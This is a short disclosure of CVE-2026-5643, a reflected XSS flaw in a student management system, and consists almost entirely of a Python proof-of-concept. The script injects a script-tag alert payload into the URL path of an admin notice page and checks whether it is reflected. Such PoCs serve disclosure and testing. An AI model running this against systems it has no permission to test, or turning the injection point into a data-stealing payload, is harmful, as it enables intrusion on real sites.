CVE-2026-5643 Cyber-III学生管理系统XSS漏洞

import requests def check_xss_vulnerability(target_url): """ PoC for CVE-2026-5643: XSS via $_SERVER['PHP_SELF'] The payload is injected into the path of the URL. """ # The malicious payload to be injected xss_payload = "<script>alert('CVE-2026-5643')</script>" # Construct the malicious URL by appending payload to the path # The vulnerable file is /admin/Add notice/notice.php attack_url = f"{target_url}/admin/Add%20notice/notice.php/{xss_payload}" try: print(f"[*] Sending request to: {attack_url}") response = requests.get(attack_url, timeout=10) # Check if the payload is reflected unescaped in the response if xss_payload in response.text: print("[+] Vulnerability confirmed! Payload reflected in response.") print("[+] This indicates that $_SERVER['PHP_SELF'] is not sanitized.") return True else: print("[-] Payload not reflected. Target might be patched or input filtered.") return False except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": # Replace with the actual target host target = "http://example.com" check_xss_vulnerability(target)